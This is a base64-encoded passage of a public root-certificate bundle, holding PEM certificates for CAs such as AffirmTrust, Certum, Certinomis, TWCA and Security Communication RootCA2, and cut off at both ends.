Tnoyc25tS3RtY0NBd0VBQWFOQ01FQXdIUVlEVlIwT0JCWUVGSjNBWjZZTUl0a205VVdycG1WU0VTZllSYXhqTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0RnWURWUjBQQVFIL0JBUURBZ0VHTUEwR0NTcUdTSWIzRFFFQkRBVUFBNElDQVFDelYwMFFZazQ2NUt6cXVCeXYKTWlQSXMwbGFVWngyS0kxNXFsZEdGOVgxVXZhM1JPZ0lSTDhZaE5JTGdNM0ZFdjBBVlFWaGgwSGN0U1NlUE1UWXlQdHduaTk0bG9NZwpOdDU4RDJrVGlLVjFOcGdJcHNiZnJNN2pXTmEzUHQ2NjgrczBRTmlpZ2ZWNFB5L1ZwZnpab3RSZUJBNFhyZjVCOE9XeWN2cEVnak5DCjZDMVk5MWFNWWorNlFyQ2NERngrTG1VbVhGTlBBTEo0ZnFFTm1TMk51QjJPb3NTdy9XRFFNS1NPeUFSaXFjVHROZDU2bCswT09GNlMKTDVOd3BhbWNiNmQ5RXgxK3hnaElzVjVuNjFFSUplbm1KV3RTS1pHYzBqbHpDRmZlbVFhMFc1MFFCdUhDQUtpNEhFb0NDaFRRd1VISworNHcxSVgyQ09QS3BWSkVaTlpPVWJXbzZ4YkxRdTRtR2sraWJ5UTg2cDNxNG9mQjRSdnI4TnkvbGlvVHozLzRFMmFGb29DOGs0Z21WCkJ0V1Z5dUVrbHV0ODlwTUZ1KzF6NlMzUmRUblg1eVRiMkU1ZlE0K2UwQlE1djFWd1NKbFhNYlNjN2txWUE1WXdIMkFHN2hzai9vRmcKSXhwSFlvV2x6QmswZ0crenJCcmpuL0I3U0szVkFkbG50cWx5aytvdFpyV3l1T1E5UExMdlRJenE2d2UvcXpXYVZZYThHS2ExcUY2MApnMnhyYVVEVG45enh3MmxydWVGdENmVHhxbEIyQ25wOWVoZWhWWlpDbVRFSjNXQVJqUVV3ZnVhT1J0R2RGTnJIRitRRmxvekVKTFViCnp4UUhza0Q0bzU1Qmhyd0UwR3VXeUNxQU5QMi83d2FqM1ZqRmhUMCtqLzZlS2VDMnVBbG9HUndZUXc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQwo9PT09PT09PT09PT09PT09PT09PT09PQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJQi9qQ0NBWVdnQXdJQkFnSUlkSmNsaXNjL2VsUXdDZ1lJS29aSXpqMEVBd013UlRFTE1Ba0dBMVVFQmhNQ1ZWTXhGREFTQmdOVgpCQW9NQzBGbVptbHliVlJ5ZFhOME1TQXdIZ1lEVlFRRERCZEJabVpwY20xVWNuVnpkQ0JRY21WdGFYVnRJRVZEUXpBZUZ3MHhNREF4Ck1qa3hOREl3TWpSYUZ3MDBNREV5TXpFeE5ESXdNalJhTUVVeEN6QUpCZ05WQkFZVEFsVlRNUlF3RWdZRFZRUUtEQXRCWm1acGNtMVUKY25WemRERWdNQjRHQTFVRUF3d1hRV1ptYVhKdFZISjFjM1FnVUhKbGJXbDFiU0JGUTBNd2RqQVFCZ2NxaGtqT1BRSUJCZ1VyZ1FRQQpJZ05pQUFRTk1GNGJGWjBEMEtGNU5iYzZQSko2eWhVY3pXTHpuQ1pjQnozbFZQcWoxc3dTNnZRVVgraU9HYXN2TGtqbXJCaERlS3pRCk44TzlzczBzNWtmaUd1Wmp1RDB1TDNqRVQ5djBENlJvVEZWeWE1VWRUaGhDbFhqTU56eVI0cHRsS3ltalFqQkFNQjBHQTFVZERnUVcKQkJTYXJ5bDZ3QkUxTlNaUk1BRERhdjVBMWE3V1BEQVBCZ05WSFJNQkFmOEVCVEFEQVFIL01BNEdBMVVkRHdFQi93UUVBd0lCQmpBSwpCZ2dxaGtqT1BRUURBd05uQURCa0FqQVhDZk9IaUZCYXI4akFRcjlIWC9Wc2FvYmd4Q2QwNURoVDF3Vi9HelRqeGkrenlnazhONTNYCjU3aEc4ZjJoNG5FQ01FSlpoMFBVVWQrNjB3a3lXczZJZmxjOW5GOUNhL1VITGJYd2dwUDVXVyt1WlBwWTVZc2U0Mk8rdFlITmJ3S00KZVE9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBCj09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR1ekNDQXFPZ0F3SUJBZ0lEQkVUQU1BMEdDU3FHU0liM0RRRUJCUVVBTUg0eEN6QUpCZ05WQkFZVEFsQk1NU0l3SUFZRFZRUUsKRXhsVmJtbDZaWFJ2SUZSbFkyaHViMnh2WjJsbGN5QlRMa0V1TVNjd0pRWURWUVFMRXg1RFpYSjBkVzBnUTJWeWRHbG1hV05oZEdsdgpiaUJCZFhSb2IzSnBkSGt4SWpBZ0JnTlZCQU1UR1VObGNuUjFiU0JVY25WemRHVmtJRTVsZEhkdmNtc2dRMEV3SGhjTk1EZ3hNREl5Ck1USXdOek0zV2hjTk1qa3hNak14TVRJd056TTNXakIrTVFzd0NRWURWUVFHRXdKUVRERWlNQ0FHQTFVRUNoTVpWVzVwZW1WMGJ5QlUKWldOb2JtOXNiMmRwWlhNZ1V5NUJMakVuTUNVR0ExVUVDeE1lUTJWeWRIVnRJRU5sY25ScFptbGpZWFJwYjI0Z1FYVjBhRzl5YVhSNQpNU0l3SUFZRFZRUURFeGxEWlhKMGRXMGdWSEoxYzNSbFpDQk9aWFIzYjNKcklFTkJNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DCkFROEFNSUlCQ2dLQ0FRRUE0L3Q5bzNLNnd2REpGSWYxYXdGTzRXNUFCN3B0SjExLzkxc3RzMXJIVVYrcnBES21ZWWUyYmcrRzBqQUMKbC9qWGFWZWhHRGxkYW1SNXhnRlpyRHd4U2poODBnVFNTeWpvSUY4N0I2TE1UWFBiODY1UHgxYlZXcWVXaWZyenEyalVJNFpaSjg4SgpKN3lzYm5LREhEQnkzK0NpNmRMaGRIVVp2U3FlZXhWVUJCdlhRem10VlNqRjRocTc5TURrcmpoSk04eDJoWjg1UmRLa252SVNqRkg0CmZPUXRmL1dzWCtzV243RXQwYnJNa1VKM1RDWEprRGh2Mi9ETSs0NGVsMWsrMVdCTzVnVW83VWw1RTB1NlNOc3YrWExUT2NyK0g5ZzAKY3ZXMFFNOHhBY1BzM2hFdEYxMGZ1RkRSWGhtbmFkNEhNeWpLVUpYNXAxVExWSVpRUmFuNVNRSURBUUFCbzBJd1FEQVBCZ05WSFJNQgpBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlFJZHMzTEIvOGs5c1hON2J1UXZPS0VOMFoxOXpBT0JnTlZIUThCQWY4RUJBTUNBUVl3CkRRWUpLb1pJaHZjTkFRRUZCUUFEZ2dFQkFLYW9yU0xPQVQybW8vOWkwRWlkaTE1eXNIaEU0OXdjcnduOUkwajZ2U3JFdVZVRXRSQ2oKalNmZUM0SmowTzdlRERkNVFWc2lzckNhUVZ5bWNPRFUwSGZMSTlNQTRHeFdMK0ZwRFEzWnFyOGhnVkRaQnFXby81VTMwS3IrNHJQMQptUzFGaElybFFnblhkQUl2OTRuWW1lbThKOVJIamJvTlJoeDN6eFNrSExta01jU2NLSFFETlA4ekdTYWw2UTEwdHo2WHhuYm9KNWFqClp0M2hydkpCVzhxWVZvTnpjT1NHR3RJeFFib3Z2aTBUV25adlR1aE9nUTQvV3dNaW9CSytabGdSU3NzRHhMUXFLaTJXRitBNVZMeEkKMDNZbm5ab3RCcWJKN0RuU3E5dWZtZ3NuQWpVcHNVQ1Y1L25vbkZXSUdVYld0elQxZnM0NW10azQ4VkgzVHl3PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpDZXJ0aW5vbWlzIC0gQXV0b3JpdMODwqkgUmFjaW5lCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlGbkRDQ0E0U2dBd0lCQWdJQkFUQU5CZ2txaGtpRzl3MEJBUVVGQURCak1Rc3dDUVlEVlFRR0V3SkdVakVUTUJFR0ExVUVDaE1LClEyVnlkR2x1YjIxcGN6RVhNQlVHQTFVRUN4TU9NREF3TWlBME16TTVPVGc1TURNeEpqQWtCZ05WQkFNTUhVTmxjblJwYm05dGFYTWcKTFNCQmRYUnZjbWwwdzZrZ1VtRmphVzVsTUI0WERUQTRNRGt4TnpBNE1qZzFPVm9YRFRJNE1Ea3hOekE0TWpnMU9Wb3dZekVMTUFrRwpBMVVFQmhNQ1JsSXhFekFSQmdOVkJBb1RDa05sY25ScGJtOXRhWE14RnpBVkJnTlZCQXNURGpBd01ESWdORE16T1RrNE9UQXpNU1l3CkpBWURWUVFEREIxRFpYSjBhVzV2YldseklDMGdRWFYwYjNKcGRNT3BJRkpoWTJsdVpUQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQUQKZ2dJUEFEQ0NBZ29DZ2dJQkFKMkZuNGJUNDYvSHNtdHVNK0NldDBJMFZaMzVnYjVqMkNOMkRwZFV6WmxNR3ZFNXg0allGMUFNbm1IYQp3RTVWM3VkYXVIcE9kNGNONWJqcitwNWVleDdFenloMHg1UDFGTVlpS0FUNWtjT3JKM05xRGk1Tjh5NG9IM0RmVlM5TzdjZHhid2x5Ckx1M1ZNcGZROFZoMzBXQzhUbDdibW9UMlIyRkZLL1pRcG45cWNTZEloRFdlclA1cHFaNTZYalVsK3JTblNUVjNscWMyVytITjN5TncKMkYxTXBRaUQ4YVlrT0JPbzdDK29vV2ZIcGkyR1IrNksvT3liRG5UMEswa0NlNUIxalB5Wk9RRTUxa3FKNVo1MnF6NldLRGdtaTkyTgpqTUQyQVI1dnBURVNPSDJWd25IdTdYU3U1RGFpUTNYVjhRQ2I0dVRYekVJRFMzaDY1WDI3dUs0dUlKUFQ1R0hmY2VGMlo1Yy90dDlxCmMxcGtJdVZDMjgrQkE1UFk5T01RNEhMMkFIQ3M4TUY2RHdWL3p6UnBSYldUNUJuYlVoWWpCWWtPalVqa0pXK3plTDlpOVFmNmxTVEMKbHJMb295UENYUVA4dzlQbGZNbDFJOWYwOWJ6ZTVOL05nTCtSaUgybkU3UTV1aXk2dmRGcnpQT2xLTzFFbm4xU28yK1dMaGwrSFBOYgp4eGFPdTJCOWQyWkhWSUlBRVdCc01zR29PQnZyYnBnVDF1NDQ5ZkNmRHUvK01ZSEIwaVNWTDFONmFhTHdENFpGamxpQ0swd2kxRjZnCjUzMG1KMGpmSlVhTlNpaDhocDc1bXhwWnVXVy9CZDIyUWwwOTVnQklnbDRnOXhHQzNzclluK1kzUnlZZTYzajNZY05CWkZnQ1FmbmEKNE5INCtlajlVamkyOVluZkFnTUJBQUdqV3pCWk1BOEdBMVVkRXdFQi93UUZNQU1CQWY4d0RnWURWUjBQQVFIL0JBUURBZ0VHTUIwRwpBMVVkRGdRV0JCUU5qTFpoMmtTNDBSUjl3NzU5WGtqd3pzcHFzREFYQmdOVkhTQUVFREFPTUF3R0NpcUJlZ0ZXQWdJQUFRRXdEUVlKCktvWklodmNOQVFFRkJRQURnZ0lCQUNRK1lBWitIZTg2UHR2cXJ4eWFMQUVMOU1XMTJVa3g5RjFCallrTVR2OXNvdjMvNGdiSU9aL3gKV3FuZElsZ1ZxSXJUc2VZeUNZSURiTmMvQ01mNHVib0FiYm5XL0ZJeVhhUi9wREdVdTdaTU9IOG9NRFgvbnlOVHQ3YnVGSEFBUUN2YQpSNnMwZmw2blZqQmhLNHREclAyMmlDajFhN1krWUVxNlFwQTBaNDNxNjE5RlZEc1hySXZreG1VUDd0Q01YV1k1empLbjJCQ1h3SDQwCm5KK1U4L2FHSDg4YmM2MlVlWWRvY01NenBYRG4yTlU0bEc5amVldS9DZzRJNThVdkQwS2dLeFJBL3lIZ0JjVW40WVFSRTdyV2hoMUIKQ3hNamlkUEpDK2lLdW5xam8zTTNOWUI5RXJnemQwQTR3UHBlTU5MeXRxT3gxcUtWbDRHYlV1MXBUUCtBNUZQYlZGc0RiVlJmc2JqdgpKTDF2bnhIRHgyVENEeWhpaFdaZUdudXl0Kyt1TmNrWk02aTRKOXN6VmI5bzRYVklSRmI3emROSXUwZUpPcXhwOVlERzVFUlFMMVRFCnFrUEZNVEZZdlpiRjZuVnNtbld4VGZqM2wvK1dGdktYVGVqMjh4SDVPbjJLT0c0RXkrSFRSUldxcGRFZG5WMWo2Q1RtTmhUaWg2MGIKV2ZWRW0vdlhkM3dmQVhCaW9TQWFvc1VhS1BRaEErNHUyY0dBNnJuWmd0WmJkc0xMTzdYU0FQQ2pEdUd0YmtEMzI2QzAwRWF1RmRkRQp3azAxK2RJTDhoZjJyR2JWSkxKUDBSeVp3RzcxZmV0MEJMajVUWGNKMTdUUEJ6QUo4YmdBVnRrWEZoWUtLNGJmandFWkd1VzdnbVAvCnZndDJGbDQzTitiWWRKZWltVVY1Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KClJvb3QgQ0EgR2VuZXJhbGl0YXQgVmFsZW5jaWFuYQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUdpekNDQlhPZ0F3SUJBZ0lFTzBYbGFEQU5CZ2txaGtpRzl3MEJBUVVGQURCb01Rc3dDUVlEVlFRR0V3SkZVekVmTUIwR0ExVUUKQ2hNV1IyVnVaWEpoYkdsMFlYUWdWbUZzWlc1amFXRnVZVEVQTUEwR0ExVUVDeE1HVUV0SlIxWkJNU2N3SlFZRFZRUURFeDVTYjI5MApJRU5CSUVkbGJtVnlZV3hwZEdGMElGWmhiR1Z1WTJsaGJtRXdIaGNOTURFd056QTJNVFl5TWpRM1doY05NakV3TnpBeE1UVXlNalEzCldqQm9NUXN3Q1FZRFZRUUdFd0pGVXpFZk1CMEdBMVVFQ2hNV1IyVnVaWEpoYkdsMFlYUWdWbUZzWlc1amFXRnVZVEVQTUEwR0ExVUUKQ3hNR1VFdEpSMVpCTVNjd0pRWURWUVFERXg1U2IyOTBJRU5CSUVkbGJtVnlZV3hwZEdGMElGWmhiR1Z1WTJsaGJtRXdnZ0VpTUEwRwpDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRREdLcXRYRVRjdklvcktBM1FkeXUwdG9ndThNMUpBSmtlK1dtbW1PM0kyCkYwem8zN2k3TDNiaFFFWjBaUUtRVWdpMC82aU13ZURIaVZZUU9UUHZhTFJmWDlwdEk2R0pYaUtqU2did0ovQlh1ZmpwVGpKM0NqOUIKWlBQclplNTIvbFNxZlIwZ3J2UFhkTUlLWC9VSUtGSUl6RlZkMGcvYm1vR2x1Nkd6d1pUTlZPQXlkVEdSR21LeTNuWGl6MCtKMlpHUQpEMEVidEZwS2Q3MW5nK0NUNTE2bkRPZUIwL1JTckZPeUE4ZEVKdnQ1NWNzMFlGQVFleHZiYTlkSHExOThhTXB1blVFREVPNXJtWHRlCkphakNxK1RBODF5YzQ3N09NVXhrSGw2QW92V0RmZ3pXeW94VmpyN2d2a2tIRDZNa1FYcFlIWVRxV0JMSTRiZnQ3NVBlbEFneEFnTUIKQUFHamdnTTdNSUlETnpBeUJnZ3JCZ0VGQlFjQkFRUW1NQ1F3SWdZSUt3WUJCUVVITUFHR0ZtaDBkSEE2THk5dlkzTndMbkJyYVM1bgpkbUV1WlhNd0VnWURWUjBUQVFIL0JBZ3dCZ0VCL3dJQkFqQ0NBalFHQTFVZElBU0NBaXN3Z2dJbk1JSUNJd1lLS3dZQkJBRy9WUUlCCkFEQ0NBaE13Z2dIb0JnZ3JCZ0VGQlFjQ0FqQ0NBZG9lZ2dIV0FFRUFkUUIwQUc4QWNnQnBBR1FBWVFCa0FDQUFaQUJsQUNBQVF3QmwKQUhJQWRBQnBBR1lBYVFCakFHRUFZd0JwQVBNQWJnQWdBRklBWVFEdEFIb0FJQUJrQUdVQUlBQnNBR0VBSUFCSEFHVUFiZ0JsQUhJQQpZUUJzQUdrQWRBQmhBSFFBSUFCV0FHRUFiQUJsQUc0QVl3QnBBR0VBYmdCaEFDNEFEUUFLQUV3QVlRQWdBRVFBWlFCakFHd0FZUUJ5CkFHRUFZd0JwQVBNQWJnQWdBR1FBWlFBZ0FGQUFjZ0RoQUdNQWRBQnBBR01BWVFCekFDQUFaQUJsQUNBQVF3QmxBSElBZEFCcEFHWUEKYVFCakFHRUFZd0JwQVBNQWJnQWdBSEVBZFFCbEFDQUFjZ0JwQUdjQVpRQWdBR1VBYkFBZ0FHWUFkUUJ1QUdNQWFRQnZBRzRBWVFCdApBR2tBWlFCdUFIUUFid0FnQUdRQVpRQWdBR3dBWVFBZ0FIQUFjZ0JsQUhNQVpRQnVBSFFBWlFBZ0FFRUFkUUIwQUc4QWNnQnBBR1FBCllRQmtBQ0FBWkFCbEFDQUFRd0JsQUhJQWRBQnBBR1lBYVFCakFHRUFZd0JwQVBNQWJnQWdBSE1BWlFBZ0FHVUFiZ0JqQUhVQVpRQnUKQUhRQWNnQmhBQ0FBWlFCdUFDQUFiQUJoQUNBQVpBQnBBSElBWlFCakFHTUFhUUR6QUc0QUlBQjNBR1VBWWdBZ0FHZ0FkQUIwQUhBQQpPZ0F2QUM4QWR3QjNBSGNBTGdCd0FHc0FhUUF1QUdjQWRnQmhBQzRBWlFCekFDOEFZd0J3QUhNd0pRWUlLd1lCQlFVSEFnRVdHV2gwCmRIQTZMeTkzZDNjdWNHdHBMbWQyWVM1bGN5OWpjSE13SFFZRFZSME9CQllFRkhzMTAwRFNISGdaWnU5MEVDamNQayt5ZUFUOE1JR1YKQmdOVkhTTUVnWTB3Z1lxQUZIczEwMERTSEhnWlp1OTBFQ2pjUGsreWVBVDhvV3lrYWpCb01Rc3dDUVlEVlFRR0V3SkZVekVmTUIwRwpBMVVFQ2hNV1IyVnVaWEpoYkdsMFlYUWdWbUZzWlc1amFXRnVZVEVQTUEwR0ExVUVDeE1HVUV0SlIxWkJNU2N3SlFZRFZRUURFeDVTCmIyOTBJRU5CSUVkbGJtVnlZV3hwZEdGMElGWmhiR1Z1WTJsaGJtR0NCRHRGNVdnd0RRWUpLb1pJaHZjTkFRRUZCUUFEZ2dFQkFDUmgKVHZXMXlFSUNLck5jZGEzRmJjcm5sRCtsYUpXSXdWVEFFR21pRWk4WVB5VlFxSHhLNnNZSjJmUjF4a0RhcjFDZFBhVVd1MjB4eHNkegpDa2orSUhMdGI4em9nMkVXUnBBQmxVdDlqcHBTQ1MvMmJ4emtvWEhQakNwYUYzT0RSMDBQTnZzRVRVbFI0aFRKWkdINzFCVGc5SjYzCk5JOEtKcjJYWFBSNU9rb3dHY3l0VDZDWWlyUXhseXJpYzIxK2VMajRpSWxQc1NLUlpFdjFVTjREMitYRmR1Y1RablYrWmZzQm41T0gKaUozNVJsZDhUV0N2bUhNVEk2UWdrWUg2MEdGbXVIM1JyOVp2SG13OTZSSDlxZm1DSW9hWk0zRmE2aGxYUFpITnFjQ2piZ2NUcHNudAorR2lqbnNOYWNnbUhLTkhFYzhSekdGOVFkUll4bjdmb2ZNTT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQoKQS1UcnVzdC1uUXVhbC0wMwo9PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEenpDQ0FyZWdBd0lCQWdJREFXd2VNQTBHQ1NxR1NJYjNEUUVCQlFVQU1JR05NUXN3Q1FZRFZRUUdFd0pCVkRGSU1FWUdBMVVFCkNndy9RUzFVY25WemRDQkhaWE11SUdZdUlGTnBZMmhsY21obGFYUnpjM2x6ZEdWdFpTQnBiU0JsYkdWcmRISXVJRVJoZEdWdWRtVnkKYTJWb2NpQkhiV0pJTVJrd0Z3WURWUVFMREJCQkxWUnlkWE4wTFc1UmRXRnNMVEF6TVJrd0Z3WURWUVFEREJCQkxWUnlkWE4wTFc1UgpkV0ZzTFRBek1CNFhEVEExTURneE56SXlNREF3TUZvWERURTFNRGd4TnpJeU1EQXdNRm93Z1kweEN6QUpCZ05WQkFZVEFrRlVNVWd3ClJnWURWUVFLREQ5QkxWUnlkWE4wSUVkbGN5NGdaaTRnVTJsamFHVnlhR1ZwZEhOemVYTjBaVzFsSUdsdElHVnNaV3QwY2k0Z1JHRjAKWlc1MlpYSnJaV2h5SUVkdFlrZ3hHVEFYQmdOVkJBc01FRUV0VkhKMWMzUXRibEYxWVd3dE1ETXhHVEFYQmdOVkJBTU1FRUV0VkhKMQpjM1F0YmxGMVlXd3RNRE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3RQV0Z1QS9PUU84QkJDNFNBCnpld3FvNTFydTI3Q1FvVDNVUlRob0tndFVhTlI4dDRqOERSRS81VHJ6QVVqbFVDNUIzaWxKZllLdlVXRzZObTl3QVNPaFVSaDczK24KeWZyQkpjeUZMR00vQldCelNRWGdZSGlWRUV2YytSRlp6bkYvUUp1S3FpVGZDMExpMjFhOFN0S2xESnUzUXo3ZGc5TW1FQUxQNmlQRQpTVTdsMCttMGlLc01ybUtTMUdXSDJXclg5SVdmNURNaUphWGx5RE82dzhkQjNGL0dhc3dBRG0weXFMYUhOZ0JpZDVzZUh6VExrRHg0CmlIUUY2M24xazNGbHlwM0hheGd0UFZ4TzU5WDRQekY5ajRmc0NpSXZJK24rdTMzSjRQVHM2M3pFc01NdFlyV2FjZGF4YXVqczJlM1YKY3V5K1Z3SE9CVldmM3RGZ2lCQ3pBZ01CQUFHak5qQTBNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdFUVlEVlIwT0JBb0VDRVJxbFdkVgplUkZQTUE0R0ExVWREd0VCL3dRRUF3SUJCakFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBVmRSVTBWbElYTE9UaGFxL1l5L2tnTTQwCm96UmlQdmJZN21lSU1RUURid3ZVQi90T2RRL1RMdFBBRjhmR0tPd0dEUkVrRGc2bFhiK01zaE9XY2R6VXpnNE5DbWd5YkxsQk1SbXIKc1FkN1RaalRYTERSOEtkQ29MWEVqcS8rOFQvMDcwOUdBSGJyQXZ2NW5kSkFsc2VJT3JpZkVYbnpnR1dvdlIvVGVJR2dVVXczdEtaZApKWERSWnNsbytTNFJGR2p4VkpnSXJDYVNEOTZKbnRUNnMza3IwcU41MU95THJJZFRhRUpNVVZGMEhoc25MdVAxSHlsMFRlMnY5K0dTCm1ZSG92anJIRjFEMnQ4YjhtN0NLYTlhSUE1R1BCbmM2aFFMZG1OVkRlRC9HTUJXc20ydkxWN2VKVVlzNjZNbUVETnV4VUNBS0drcTYKYWhxOTdCdkl4WVNhelE9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpUV0NBIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEZXpDQ0FtT2dBd0lCQWdJQkFUQU5CZ2txaGtpRzl3MEJBUVVGQURCZk1Rc3dDUVlEVlFRR0V3SlVWekVTTUJBR0ExVUVDZ3dKClZFRkpWMEZPTFVOQk1SQXdEZ1lEVlFRTERBZFNiMjkwSUVOQk1Tb3dLQVlEVlFRRERDRlVWME5CSUZKdmIzUWdRMlZ5ZEdsbWFXTmgKZEdsdmJpQkJkWFJvYjNKcGRIa3dIaGNOTURnd09ESTRNRGN5TkRNeldoY05NekF4TWpNeE1UVTFPVFU1V2pCZk1Rc3dDUVlEVlFRRwpFd0pVVnpFU01CQUdBMVVFQ2d3SlZFRkpWMEZPTFVOQk1SQXdEZ1lEVlFRTERBZFNiMjkwSUVOQk1Tb3dLQVlEVlFRRERDRlVWME5CCklGSnZiM1FnUTJWeWRHbG1hV05oZEdsdmJpQkJkWFJvYjNKcGRIa3dnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUsKQW9JQkFRQ3dmbks0cEFPVTVxZmVDVGlSU2hGQWg2ZDhXV1FVZTdVUkVOMyt2OVhBdTFiaWhTWDBOWElQK0ZQUVFlRkVBY0swSE1NeApRaFpIaFRNaWRySUtidy9sSlZCUGhZYSt2NWd1RUdjZXZoRUZoZ1dReEZuUWZIZ1FzSUJjdCtISEszWExmSit1dGRHZEl6ZGpwOXhDCm9pMlNCQnRRd1h1NFBodkpWZ1NMTDFLYnJhbFc2Y0gvcmFsWWh6QzJnZmVYUmZ3WlZ6c3JiK1JIOUpsRi9oM3grSmVqaUIwM0hGeVAKNEhZbG1sRDRvRlQvUkpCMkk5SXl4c09yQnIvOCs3L3pyWDJTWWdKYktkTTFvNU9hUTJSZ1hiTDZNdjg3Qks5TlFHcjV4K1B2SS8xcgp5K1VQaXpnTjdncjgvZytZbnpBeDNXeFNaZm1MZ2I0aTRSeFlBN3FSRzRrSEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCCkJqQVBCZ05WSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUnFPRnNtamQ2TFd2SlBlbFNER1JqakNEV211akFOQmdrcWhraUcKOXcwQkFRVUZBQU9DQVFFQVBOVjNQZHJmaWJxSERBaFVhaUJRa3I2d1FUMjVKbVNEQ2kvb1FNQ1hLQ2VDTUVySmsvOXE1NllBZjRsQwptdFlSNVZQT0w4enkyZ1hFL3VKUXhEcUdmY3phZmhBSk81STFLbE95L3VzckJkbHNYZWJRNzlOcVpwNFZLSVY2NklJQXJCNm5DV2xXClF0Tm9VUmkrVkpxL1JFRzZTYjRndW1sYzdyaDN6YzVzSDYyRGxoaDlEclVVT1lUeEtPa3RvNTU3SG5weVdvT3plVy92dFB6UUNxVlkKVDBiZisyMTVXZktFSWxLdUQ4ejdmRHZuYXNwSFljTjYrTk9TQkIrNElJVGhObFFXeDBEZU80cHozTi9HQ1V6ZjdOci8xRk5Db2NueQpZaDBpZ3p5WHhma1pZaWVzWlNMWDB6ekc1WTZ5VTh4Snpyd3cvbnNPTTVENzdkSVVrUjhIcnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpTZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTIKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEZHpDQ0FsK2dBd0lCQWdJQkFEQU5CZ2txaGtpRzl3MEJBUXNGQURCZE1Rc3dDUVlEVlFRR0V3SktVREVsTUNNR0ExVUVDaE1jClUwVkRUMDBnVkhKMWMzUWdVM2x6ZEdWdGN5QkRUeTRzVEZSRUxqRW5NQ1VHQTFVRUN4TWVVMlZqZFhKcGRIa2dRMjl0YlhWdWFXTmgKZEdsdmJpQlNiMjkwUTBFeU1CNFhEVEE1TURVeU9UQTFNREF6T1ZvWERUSTVNRFV5T1RBMU1EQXpPVm93WFRFTE1Ba0dBMVVFQmhNQwpTbEF4SlRBakJnTlZCQW9USEZORlEwOU5JRlJ5ZFhOMElGTjVjM1JsYlhNZ1EwOHVMRXhVUkM0eEp6QWxCZ05WQkFzVEhsTmxZM1Z5CmFYUjVJRU52YlcxMWJtbGpZWFJwYjI0Z1VtOXZkRU5CTWpDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUIKQU5BVk9WS3hVck82eFZtQ3hGMVNyanBEWllCTHgvS1d2TnMybDlhbVpJeW9YdkRqQ2h6MzM1YzlTNjcyWGV3aHRVR3J6YmwrZHArKworVDQyTktBN3dmWXhFVVYwa3oxWGdNWDVpWm5LNWF0cTFMWGFRWkFRd2RiV1FvbkN2L1E0RXBWTVZBWDNOdVJGZzNzVVpkYmNERTNSCjNuNE1xenZFRmI0NlZxWmFiM1pwVXFsNnVjanJhcHBkVXRBdENtczFGZ2tRaE5CcXlqb0dBRGRINUg1WFR6K0w2MmU0aUtyRnZsTlYKc3BIRWZibXdoUmtHZUM3YllScjZoZlZLa2FIbkZ0V09vam5mbExod0h5Zy9pL3hBWG1PRFBJTXFHcGxyejk1WmFqdjhieGJYSC8xSwpFT3RPZ2hZNnJDY01VL0d0MVNTd2F3TlF3UzA4RnQxRU5DY2FkZnNDQXdFQUFhTkNNRUF3SFFZRFZSME9CQllFRkFxRnFYZGxCWmg4ClFJSDRENWNzT1BFSzdEelBNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WSFJNQkFmOEVCVEFEQVFIL01BMEdDU3FHU0liM0RRRUIKQ3dVQUE0SUJBUUJNT3FORXJMbEZzY2VUZnNnTENrTGZaT29jN2xsc0NMcUpYMnJLU3BXZWVvOEh4ZHBGY29KeERqclN6RytudEtFagp1L1lrbjhzWC9veW16c0xTMjh5Ti9ISDhBeW5CYkYwelgyUzJaVHVKYnhoMmVQWGNva2dmR1QrT2srdngraGZ1elU3akJCSlYxdVhrCjNmcytCWHppSFY3R3A3eVhUMmc2OWVrdUNrTzJyMWRjWW1oOHQvMmppb1NnckdLK0t3bUhOUEJxQWJ1YktWWTgvZ0EzenlOczhVNnEKdG5SR0VteVI3alRWN0pxUjUwUytrREZ5MVVrQzlnTGw5Qi9yZk5tV1Zhbi83SXI1bVVmL05Wb0NxZ1RMaWx1SGNTbVJ2YVMwZWcyOQptdlZYSXdBSElSYy9Tam5SQlVrTHA3WTNnYVZkaktvelhvRW9mS2Q5SitzQXJvMDMKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQoKRUMtQUNDCj09PT09PQotLS0tLUJFR0lOI